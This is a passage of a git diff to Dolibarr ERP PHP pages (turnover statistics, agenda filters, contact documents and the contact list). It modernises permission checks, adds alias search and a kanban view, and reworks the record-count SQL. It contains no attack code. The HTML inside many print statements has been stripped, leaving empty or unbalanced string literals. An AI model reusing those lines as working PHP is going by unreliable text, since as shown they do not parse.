!$total[$annee]) { + if (empty($total[$annee - 1]) && empty($total[$annee])) { print ''; } } else { print '"; } - // Valeur CA du mois + // Value turnover of month print '"; - // Pourcentage du mois + // Percentage of month if ($annee_decalage > $minyear && $case <= $casenow) { - if ($cum[$caseprev] && $cum[$case]) { + if (!empty($cum[$caseprev]) && !empty($cum[$case])) { $percent = (round(($cum[$case] - $cum[$caseprev]) / $cum[$caseprev], 4) * 100); //print "X $cum[$case] - $cum[$caseprev] - $cum[$caseprev] - $percent X"; print ''; } - if ($cum[$caseprev] && !$cum[$case]) { + if (!empty($cum[$caseprev]) && empty($cum[$case])) { print ''; } - if (!$cum[$caseprev] && $cum[$case]) { + if (empty($cum[$caseprev]) && !empty($cum[$case])) { //print ''; print ''; } - if (isset($cum[$caseprev]) && !$cum[$caseprev] && !$cum[$case]) { + if (isset($cum[$caseprev]) && empty($cum[$caseprev]) && empty($cum[$case])) { print ''; } - if (!isset($cum[$caseprev]) && !$cum[$case]) { + if (!isset($cum[$caseprev]) && empty($cum[$case])) { print ''; } } else { @@ -415,8 +432,16 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { } } - $total_ht[$annee] += ((!empty($cum_ht[$case])) ? $cum_ht[$case] : 0); - $total[$annee] += $cum[$case]; + if (empty($total_ht[$annee])) { + $total_ht[$annee] = ((!empty($cum_ht[$case])) ? $cum_ht[$case] : 0); + } else { + $total_ht[$annee] += ((!empty($cum_ht[$case])) ? $cum_ht[$case] : 0); + } + if (empty($total[$annee])) { + $total[$annee] = (empty($cum[$case]) ? 0 : $cum[$case]); + } else { + $total[$annee] += (empty($cum[$case]) ? 0 : $cum[$case]); + } } print ''; @@ -428,7 +453,9 @@ for ($annee = $year_start; $annee <= $year_end; $annee++) { if ($modecompta == 'CREANCES-DETTES') { // Montant total HT if ($total_ht[$annee] || ($annee >= $minyear && $annee <= max($nowyear, $maxyear))) { - print '"; + print '"; } else { print ''; } @@ -445,20 +472,22 @@ for ($annee = $year_start; $annee <= $year_end; $annee++) { if ($annee > $minyear && $annee <= max($nowyear, $maxyear)) { if ($total[$annee - 1] && $total[$annee]) { $percent = (round(($total[$annee] - $total[$annee - 1]) / $total[$annee - 1], 4) * 100); - print ''; + print ''; } - if ($total[$annee - 1] && !$total[$annee]) { + if (!empty($total[$annee - 1]) && empty($total[$annee])) { print ''; } - if (!$total[$annee - 1] && $total[$annee]) { + if (empty($total[$annee - 1]) && !empty($total[$annee])) { print ''; } - if (!$total[$annee - 1] && !$total[$annee]) { + if (empty($total[$annee - 1]) && empty($total[$annee])) { print ''; } } else { print ''; if ($object->thirdparty->client) { $thirdTypeArray['customer'] = $langs->trans("customer"); - if (isModEnabled("propal") && $user->rights->propal->lire) { + if (isModEnabled("propal") && $user->hasRight('propal', 'lire')) { $elementTypeArray['propal'] = $langs->transnoentitiesnoconv('Proposals'); } - if (isModEnabled('commande') && $user->rights->commande->lire) { + if (isModEnabled('commande') && $user->hasRight('commande', 'lire')) { $elementTypeArray['order'] = $langs->transnoentitiesnoconv('Orders'); } - if (isModEnabled('facture') && $user->rights->facture->lire) { + if (isModEnabled('facture') && $user->hasRight('facture', 'lire')) { $elementTypeArray['invoice'] = $langs->transnoentitiesnoconv('Invoices'); } - if (isModEnabled('contrat') && $user->rights->contrat->lire) { + if (isModEnabled('contrat') && $user->hasRight('contrat', 'lire')) { $elementTypeArray['contract'] = $langs->transnoentitiesnoconv('Contracts'); } } -if (isModEnabled('ficheinter') && $user->rights->ficheinter->lire) { +if (isModEnabled('ficheinter') && $user->hasRight('ficheinter', 'lire')) { $elementTypeArray['fichinter'] = $langs->transnoentitiesnoconv('Interventions'); } diff --git a/htdocs/contact/document.php b/htdocs/contact/document.php index f62e82ee5a1..88858a11e1f 100644 --- a/htdocs/contact/document.php +++ b/htdocs/contact/document.php @@ -94,7 +94,7 @@ if ($user->socid) { } $result = restrictedArea($user, 'contact', $id, 'socpeople&societe', '', '', 'rowid', 0); // If we create a contact with no company (shared contacts), no check on write permission -$permissiontoadd = $user->rights->societe->contact->creer; // Used by the include of actions_dellink.inc.php +$permissiontoadd = $user->hasRight('societe', 'contact', 'creer'); // Used by the include of actions_dellink.inc.php /* @@ -142,11 +142,10 @@ if ($object->id) { $objsoc = new Societe($db); $objsoc->fetch($object->socid); // Thirdparty - $morehtmlref .= $langs->trans('ThirdParty').' : '; if ($objsoc->id > 0) { $morehtmlref .= $objsoc->getNomUrl(1); } else { - $morehtmlref .= $langs->trans("ContactNotLinkedToCompany"); + $morehtmlref .= ''.$langs->trans("ContactNotLinkedToCompany").''; } } $morehtmlref .= ''; @@ -192,8 +191,8 @@ if ($object->id) { print dol_get_fiche_end(); $modulepart = 'contact'; - $permissiontoadd = $user->rights->societe->contact->creer; - $permtoedit = $user->rights->societe->contact->creer; + $permissiontoadd = $user->hasRight('societe', 'contact', 'creer'); + $permtoedit = $user->hasRight('societe', 'contact', 'creer'); $param = '&id='.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/document_actions_post_headers.tpl.php'; } else { diff --git a/htdocs/contact/list.php b/htdocs/contact/list.php index 2bfdf9d1f66..533d2a8a42e 100644 --- a/htdocs/contact/list.php +++ b/htdocs/contact/list.php @@ -53,6 +53,7 @@ $show_files = GETPOST('show_files', 'int'); $confirm = GETPOST('confirm', 'alpha'); $toselect = GETPOST('toselect', 'array'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'contactlist'; +$mode = GETPOST('mode', 'alpha'); // Security check $id = GETPOST('id', 'int'); @@ -63,7 +64,7 @@ if ($user->socid) { } $result = restrictedArea($user, 'contact', $contactid, ''); -$sall = trim((GETPOST('search_all', 'alphanohtml') != '') ?GETPOST('search_all', 'alphanohtml') : GETPOST('sall', 'alphanohtml')); +$search_all = trim((GETPOST('search_all', 'alphanohtml') != '') ?GETPOST('search_all', 'alphanohtml') : GETPOST('sall', 'alphanohtml')); $search_cti = preg_replace('/^0+/', '', preg_replace('/[^0-9]/', '', GETPOST('search_cti', 'alphanohtml'))); // Phone number without any special chars $search_phone = GETPOST("search_phone", 'alpha'); @@ -72,6 +73,7 @@ $search_firstlast_only = GETPOST("search_firstlast_only", 'alpha'); $search_lastname = GETPOST("search_lastname", 'alpha'); $search_firstname = GETPOST("search_firstname", 'alpha'); $search_societe = GETPOST("search_societe", 'alpha'); +$search_societe_alias = GETPOST("search_societe_alias", 'alpha'); $search_poste = GETPOST("search_poste", 'alpha'); $search_phone_perso = GETPOST("search_phone_perso", 'alpha'); $search_phone_pro = GETPOST("search_phone_pro", 'alpha'); @@ -99,10 +101,10 @@ $search_type = GETPOST('search_type', 'alpha'); $search_address = GETPOST('search_address', 'alpha'); $search_zip = GETPOST('search_zip', 'alpha'); $search_town = GETPOST('search_town', 'alpha'); -$search_import_key = GETPOST("search_import_key", "alpha"); +$search_import_key = GETPOST("search_import_key", 'alpha'); $search_country = GETPOST("search_country", 'intcomma'); $search_roles = GETPOST("search_roles", 'array'); -$search_level = GETPOST("search_level", "array"); +$search_level = GETPOST("search_level", 'array'); $search_stcomm = GETPOST('search_stcomm', 'int'); if ($search_status === '') { @@ -118,12 +120,14 @@ $optioncss = GETPOST('optioncss', 'alpha'); $type = GETPOST("type", 'aZ'); $view = GETPOST("view", 'alpha'); +$userid = GETPOST('userid', 'int'); +$begin = GETPOST('begin'); + +// Load variable for pagination $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -$userid = GETPOST('userid', 'int'); -$begin = GETPOST('begin'); if (!$sortorder) { $sortorder = "ASC"; } @@ -131,9 +135,12 @@ if (!$sortfield) { $sortfield = "p.lastname"; } if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; } $offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; $title = (!empty($conf->global->SOCIETE_ADDRESSES_MANAGEMENT) ? $langs->trans("Contacts") : $langs->trans("ContactsAddresses")); @@ -164,10 +171,10 @@ if ($type == "c") { $urlfiche = ""; } -// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +// Initialize technical object $object = new Contact($db); -$hookmanager->initHooks(array('contactlist')); $extrafields = new ExtraFields($db); +$hookmanager->initHooks(array($contextpage)); // fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); @@ -192,27 +199,38 @@ foreach ($object->fields as $key => $val) { // Add none object fields for "search in all" if (empty($conf->global->SOCIETE_DISABLE_CONTACTS)) { $fieldstosearchall['s.nom'] = "ThirdParty"; + $fieldstosearchall['s.name_alias'] = "AliasNames"; } -// Definition of fields for list +$parameters = array('fieldstosearchall'=>$fieldstosearchall); +$reshook = $hookmanager->executeHooks('completeFieldsToSearchAll', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook > 0) { + $fieldstosearchall = empty($hookmanager->resArray['fieldstosearchall']) ? array() : $hookmanager->resArray['fieldstosearchall']; +} elseif ($reshook == 0) { + $fieldstosearchall = array_merge($fieldstosearchall, empty($hookmanager->resArray['fieldstosearchall']) ? array() : $hookmanager->resArray['fieldstosearchall']); +} + +// Definition of array of fields for columns $arrayfields = array(); foreach ($object->fields as $key => $val) { // If $val['visible']==0, then we never show the field - if (empty($val['visible'])) { - continue; + if (!empty($val['visible'])) { + $visible = (int) dol_eval($val['visible'], 1); + $arrayfields['p.'.$key] = array( + 'label'=>$val['label'], + 'checked'=>(($visible < 0) ? 0 : 1), + 'enabled'=>(abs($visible) != 3 && dol_eval($val['enabled'], 1)), + 'position'=>$val['position'], + 'help'=> isset($val['help']) ? $val['help'] : '' + ); } - - $arrayfields['p.'.$key] = array( - 'label'=>$val['label'], - 'checked'=>(($val['visible'] < 0) ? 0 : 1), - 'enabled'=>($val['enabled'] && ($val['visible'] != 3)), - 'position'=>$val['position']); } // Add none object fields to fields for list $arrayfields['country.code_iso'] = array('label'=>"Country", 'position'=>66, 'checked'=>0); if (empty($conf->global->SOCIETE_DISABLE_CONTACTS)) { $arrayfields['s.nom'] = array('label'=>"ThirdParty", 'position'=>113, 'checked'=> 1); + $arrayfields['s.name_alias'] = array('label'=>"AliasNameShort", 'position'=>114, 'checked'=> 1); } $arrayfields['unsubscribed'] = array( @@ -237,6 +255,7 @@ if (isModEnabled('socialnetworks')) { include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; $object->fields = dol_sort_array($object->fields, 'position'); +//$arrayfields['anotherfield'] = array('type'=>'integer', 'label'=>'AnotherField', 'checked'=>1, 'enabled'=>1, 'position'=>90, 'csslist'=>'right'); $arrayfields = dol_sort_array($arrayfields, 'position'); @@ -247,13 +266,20 @@ if (($id > 0 || !empty($ref)) && $action != 'add') { } } +$permissiontoread = $user->hasRight('societe', 'lire'); +$permissiontodelete = $user->hasRight('societe', 'supprimer'); +$permissiontoadd = $user->hasRight('societe', 'creer'); + +if (!$permissiontoread) accessforbidden(); + /* * Actions */ if (GETPOST('cancel', 'alpha')) { - $action = 'list'; $massaction = ''; + $action = 'list'; + $massaction = ''; } if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { $massaction = ''; @@ -269,14 +295,15 @@ if (empty($reshook)) { // Selection of new fields include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php'; - // Did we click on purge search criteria ? + // Purge search criteria if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers - $sall = ""; + $search_all = ""; $search_id = ''; $search_firstlast_only = ""; $search_lastname = ""; $search_firstname = ""; $search_societe = ""; + $search_societe_alias = ""; $search_town = ""; $search_address = ""; $search_zip = ""; @@ -312,9 +339,6 @@ if (empty($reshook)) { // Mass actions $objectclass = 'Contact'; $objectlabel = 'Contact'; - $permissiontoread = $user->hasRight('societe', 'lire'); - $permissiontodelete = $user->hasRight('societe', 'supprimer'); - $permissiontoadd = $user->rights->societe->creer; $uploaddir = $conf->societe->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; @@ -345,13 +369,20 @@ $formother = new FormOther($db); $formcompany = new FormCompany($db); $contactstatic = new Contact($db); -$morejs=array(); +$now = dol_now(); + +$title = $langs->trans("Contacts")." - ".$langs->trans("List"); +$help_url = 'EN:Module_Third_Parties|FR:Module_Tiers|ES:Módulo_Empresas'; +$morejs = array(); $morecss = array(); if (!empty($conf->global->THIRDPARTY_ENABLE_PROSPECTION_ON_ALTERNATIVE_ADRESSES)) { $contactstatic->loadCacheOfProspStatus(); } +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields + // Select every potentiels, and note each potentiels which fit in search parameters $tab_level = array(); $sql = "SELECT code, label, sortorder"; @@ -372,12 +403,14 @@ if ($resql) { dol_print_error($db); } -$sql = "SELECT s.rowid as socid, s.nom as name,"; +// Build and execute select +// -------------------------------------------------------------------- +$sql = "SELECT s.rowid as socid, s.nom as name, s.name_alias as alias,"; $sql .= " p.rowid, p.lastname as lastname, p.statut, p.firstname, p.address, p.zip, p.town, p.poste, p.email,"; $sql .= " p.socialnetworks, p.photo,"; $sql .= " p.phone as phone_pro, p.phone_mobile, p.phone_perso, p.fax, p.fk_pays, p.priv, p.datec as date_creation, p.tms as date_update,"; -$sql .= " p.import_key,"; -$sql .= " st.libelle as stcomm, st.picto as stcomm_picto, p.fk_stcommcontact as stcomm_id, p.fk_prospectcontactlevel,"; +$sql .= " p.import_key, p.fk_stcommcontact as stcomm_id, p.fk_prospectlevel,"; +$sql .= " st.libelle as stcomm, st.picto as stcomm_picto,"; $sql .= " co.label as country, co.code as country_code"; // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { @@ -388,10 +421,15 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { if (isModEnabled('mailing')) { $sql .= ", (SELECT count(*) FROM ".MAIN_DB_PREFIX."mailing_unsubscribe WHERE email = p.email) as unsubscribed"; } + // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."socpeople as p"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (p.rowid = ef.fk_object)"; @@ -402,6 +440,11 @@ $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_stcommcontact as st ON st.id = p.fk_stco if (empty($user->rights->societe->client->voir) && !$socid) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe_commerciaux as sc ON s.rowid = sc.fk_soc"; } + +// Add fields from hooks - ListFrom +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; $sql .= ' WHERE p.entity IN ('.getEntity('contact').')'; if (empty($user->rights->societe->client->voir) && !$socid) { //restriction $sql .= " AND (sc.fk_user = ".((int) $user->id)." OR p.fk_soc IS NULL)"; @@ -410,7 +453,7 @@ if (!empty($userid)) { // propre au commercial $sql .= " AND p.fk_user_creat=".((int) $userid); } if ($search_level) { - $sql .= natural_search("p.fk_prospectcontactlevel", join(',', $search_level), 3); + $sql .= natural_search("p.fk_prospectlevel", join(',', $search_level), 3); } if ($search_stcomm != '' && $search_stcomm != -2) { $sql .= natural_search("p.fk_stcommcontact", $search_stcomm, 2); @@ -428,6 +471,8 @@ if ($search_priv != '0' && $search_priv != '1') { } } + +// Search Contact Categories $searchCategoryContactList = $search_categ ? array($search_categ) : array(); $searchCategoryContactOperator = 0; // Search for tag/category ($searchCategoryContactList is an array of ID) @@ -436,17 +481,17 @@ if (!empty($searchCategoryContactList)) { $listofcategoryid = ''; foreach ($searchCategoryContactList as $searchCategoryContact) { if (intval($searchCategoryContact) == -2) { - $searchCategoryContactSqlList[] = "NOT EXISTS (SELECT ck.fk_socpeople FROM ".MAIN_DB_PREFIX."categorie_contact as ck WHERE s.rowid = ck.fk_socpeople)"; + $searchCategoryContactSqlList[] = "NOT EXISTS (SELECT ck.fk_socpeople FROM ".MAIN_DB_PREFIX."categorie_contact as ck WHERE p.rowid = ck.fk_socpeople)"; } elseif (intval($searchCategoryContact) > 0) { if ($searchCategoryContactOperator == 0) { - $searchCategoryContactSqlList[] = " EXISTS (SELECT ck.fk_socpeople FROM ".MAIN_DB_PREFIX."categorie_contact as ck WHERE s.rowid = ck.fk_socpeople AND ck.fk_categorie = ".((int) $searchCategoryContact).")"; + $searchCategoryContactSqlList[] = " EXISTS (SELECT ck.fk_socpeople FROM ".MAIN_DB_PREFIX."categorie_contact as ck WHERE p.rowid = ck.fk_socpeople AND ck.fk_categorie = ".((int) $searchCategoryContact).")"; } else { $listofcategoryid .= ($listofcategoryid ? ', ' : '') .((int) $searchCategoryContact); } } } if ($listofcategoryid) { - $searchCategoryContactSqlList[] = " EXISTS (SELECT ck.fk_socpeople FROM ".MAIN_DB_PREFIX."categorie_contact as ck WHERE s.rowid = ck.fk_socpeople AND ck.fk_categorie IN (".$db->sanitize($listofcategoryid)."))"; + $searchCategoryContactSqlList[] = " EXISTS (SELECT ck.fk_socpeople FROM ".MAIN_DB_PREFIX."categorie_contact as ck WHERE p.rowid = ck.fk_socpeople AND ck.fk_categorie IN (".$db->sanitize($listofcategoryid)."))"; } if ($searchCategoryContactOperator == 1) { if (!empty($searchCategoryContactSqlList)) { @@ -458,9 +503,11 @@ if (!empty($searchCategoryContactList)) { } } } + + // Search Customer Categories $searchCategoryCustomerList = $search_categ_thirdparty ? array($search_categ_thirdparty) : array(); $searchCategoryCustomerOperator = 0; -// Search for tag/category ($searchCategoryCustomerList is an array of ID) + // Search for tag/category ($searchCategoryCustomerList is an array of ID) if (!empty($searchCategoryCustomerList)) { $searchCategoryCustomerSqlList = array(); $listofcategoryid = ''; @@ -488,9 +535,11 @@ if (!empty($searchCategoryCustomerList)) { } } } + + // Search Supplier Categories $searchCategorySupplierList = $search_categ_supplier ? array($search_categ_supplier) : array(); $searchCategorySupplierOperator = 0; -// Search for tag/category ($searchCategorySupplierList is an array of ID) + // Search for tag/category ($searchCategorySupplierList is an array of ID) if (!empty($searchCategorySupplierList)) { $searchCategorySupplierSqlList = array(); $listofcategoryid = ''; @@ -519,8 +568,8 @@ if (!empty($searchCategorySupplierList)) { } } -if ($sall) { - $sql .= natural_search(array_keys($fieldstosearchall), $sall); +if ($search_all) { + $sql .= natural_search(array_keys($fieldstosearchall), $search_all); } if (strlen($search_phone)) { $sql .= natural_search(array('p.phone', 'p.phone_perso', 'p.phone_mobile'), $search_phone); @@ -541,8 +590,15 @@ if ($search_lastname) { if ($search_firstname) { $sql .= natural_search('p.firstname', $search_firstname); } -if ($search_societe) { - $sql .= natural_search(empty($conf->global->SOCIETE_DISABLE_CONTACTS) ? 's.nom' : 'p.fk_soc', $search_societe); +if (empty($arrayfields['s.name_alias']['checked']) && $search_societe) { + $sql .= natural_search(array("s.nom", "s.name_alias"), $search_societe); +} else { + if ($search_societe) { + $sql .= natural_search('s.nom', $search_societe); + } + if ($search_societe_alias) { + $sql .= natural_search('s.name_alias', $search_societe_alias); + } } if ($search_country) { $sql .= " AND p.fk_pays IN (".$db->sanitize($search_country).')'; @@ -567,16 +623,18 @@ if (isModEnabled('socialnetworks')) { if ($value['active'] && strlen($search_[$key])) { $searchkeyinjsonformat = preg_replace('/"$/', '', preg_replace('/^"/', '', json_encode($search_[$key]))); if (in_array($db->type, array('mysql', 'mysqli'))) { - $sql .= " AND p.socialnetworks REGEXP '\"".$db->escapeforlike($db->escape($key))."\":\"[^\"]*".$db->escapeforlike($db->escape($searchkeyinjsonformat))."'"; + $sql .= " AND p.socialnetworks REGEXP '\"".$db->escape($db->escapeforlike($key))."\":\"[^\"]*".$db->escape($db->escapeforlike($searchkeyinjsonformat))."'"; } elseif ($db->type == 'pgsql') { - $sql .= " AND p.socialnetworks ~ '\"".$db->escapeforlike($db->escape($key))."\":\"[^\"]*".$db->escapeforlike($db->escape($searchkeyinjsonformat))."'"; + $sql .= " AND p.socialnetworks ~ '\"".$db->escape($db->escapeforlike($key))."\":\"[^\"]*".$db->escape($db->escapeforlike($searchkeyinjsonformat))."'"; } else { // Works with all database but not reliable because search only for social network code starting with earched value - $sql .= " AND p.socialnetworks LIKE '%\"".$db->escapeforlike($db->escape($key))."\":\"".$db->escapeforlike($db->escape($searchkeyinjsonformat))."%'"; + $sql .= " AND p.socialnetworks LIKE '%\"".$db->escape($db->escapeforlike($key))."\":\"".$db->escape($db->escapeforlike($searchkeyinjsonformat))."%'"; } } } } +//print $sql; + if (strlen($search_email)) { $sql .= natural_search('p.email', $search_email); } @@ -604,44 +662,58 @@ if ($search_status != '' && $search_status >= 0) { if ($search_import_key) { $sql .= natural_search("p.import_key", $search_import_key); } -if ($type == "o") { // filtre sur type +if ($type == "o") { // filter on type $sql .= " AND p.fk_soc IS NULL"; -} elseif ($type == "f") { // filtre sur type +} elseif ($type == "f") { // filter on type $sql .= " AND s.fournisseur = 1"; -} elseif ($type == "c") { // filtre sur type +} elseif ($type == "c") { // filter on type $sql .= " AND s.client IN (1, 3)"; -} elseif ($type == "p") { // filtre sur type +} elseif ($type == "p") { // filter on type $sql .= " AND s.client IN (2, 3)"; } if (!empty($socid)) { $sql .= " AND s.rowid = ".((int) $socid); } + // Add where from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; + // Add where from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; -// Add order -if ($view == "recent") { - $sql .= $db->order("p.datec", "DESC"); -} else { - $sql .= $db->order($sortfield, $sortorder); -} //print $sql; // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller than the paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +// Complete request and execute it with limit +if ($view == "recent") { + $sql .= $db->order("p.datec", "DESC"); +} else { + $sql .= $db->order($sortfield, $sortorder); +} +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $resql = $db->query($sql); if (!$resql) { @@ -651,26 +723,33 @@ if (!$resql) { $num = $db->num_rows($resql); -$arrayofselected = is_array($toselect) ? $toselect : array(); - -if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && ($sall != '' || $search_cti != '')) { +// Direct jump if only one record found +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && ($search_all != '' || $search_cti != '') && !$page) { $obj = $db->fetch_object($resql); $id = $obj->rowid; header("Location: ".DOL_URL_ROOT.'/contact/card.php?id='.$id); exit; } -$help_url = 'EN:Module_Third_Parties|FR:Module_Tiers|ES:Módulo_Empresas'; + +// Output page +// -------------------------------------------------------------------- +// Page Header llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', 'bodyforlist'); +$arrayofselected = is_array($toselect) ? $toselect : array(); + $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.((int) $limit); } -$param .= '&begin='.urlencode($begin).'&userid='.urlencode($userid).'&contactname='.urlencode($sall); +$param .= '&begin='.urlencode($begin).'&userid='.urlencode($userid).'&contactname='.urlencode($search_all); $param .= '&type='.urlencode($type).'&view='.urlencode($view); if (!empty($search_categ) && $search_categ != '-1') { $param .= '&search_categ='.urlencode($search_categ); @@ -681,8 +760,8 @@ if (!empty($search_categ_thirdparty) && $search_categ_thirdparty != '-1') { if (!empty($search_categ_supplier) && $search_categ_supplier != '-1') { $param .= '&search_categ_supplier='.urlencode($search_categ_supplier); } -if ($sall != '') { - $param .= '&sall='.urlencode($sall); +if ($search_all != '') { + $param .= '&search_all='.urlencode($search_all); } if ($search_id > 0) { $param .= "&search_id=".urlencode($search_id); @@ -696,6 +775,9 @@ if ($search_firstname != '') { if ($search_societe != '') { $param .= '&search_societe='.urlencode($search_societe); } +if ($search_societe_alias != '') { + $param .= '&search_societe_alias='.urlencode($search_societe_alias); +} if ($search_address != '') { $param .= '&search_address='.urlencode($search_address); } @@ -744,10 +826,10 @@ if (is_array($search_level) && count($search_level)) { } } if ($search_import_key != '') { - $param .= '&search_import_key='.urlencode($search_import_key); + $param .= '&search_import_key='.urlencode($search_import_key); } if ($optioncss != '') { - $param .= '&optioncss='.urlencode($optioncss); + $param .= '&optioncss='.urlencode($optioncss); } if (count($search_roles) > 0) { $param .= implode('&search_roles[]=', $search_roles); @@ -758,11 +840,11 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; // List of mass actions available $arrayofmassactions = array( -// 'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), + 'presend' => img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), // 'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), ); //if($user->rights->societe->creer) $arrayofmassactions['createbills']=$langs->trans("CreateInvoiceForThisCustomer"); -if ($user->hasRight('societe', 'supprimer')) { +if (!empty($permissiontodelete)) { $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); } if (isModEnabled('category') && $user->rights->societe->creer) { @@ -773,19 +855,27 @@ if (in_array($massaction, array('presend', 'predelete','preaffecttag'))) { } $massactionbutton = $form->selectMassAction('', $arrayofmassactions); -$newcardbutton = dolGetButtonTitle($langs->trans('NewContactAddress'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/contact/card.php?action=create', '', $user->rights->societe->contact->creer); - -print ''; +print ''; if ($optioncss != '') { print ''; } print ''; print ''; +print ''; print ''; print ''; //print ''; print ''; -print ''; +print ''; +print ''; +print ''; + + +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitleSeparator(); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewContactAddress'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/contact/card.php?action=create', '', $permissiontoadd); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'address', 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -795,11 +885,14 @@ $objecttmp = new Contact($db); $trackid = 'ctc'.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; -if ($sall) { +if ($search_all) { + $setupstring = ''; foreach ($fieldstosearchall as $key => $val) { $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; } - print '
      '.$langs->trans("FilterOnInto", $sall).join(', ', $fieldstosearchall).'
      '; + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '; } if ($search_firstlast_only) { print '
      '.$langs->trans("FilterOnInto", $search_firstlast_only).$langs->trans("Lastname").", ".$langs->trans("Firstname").'
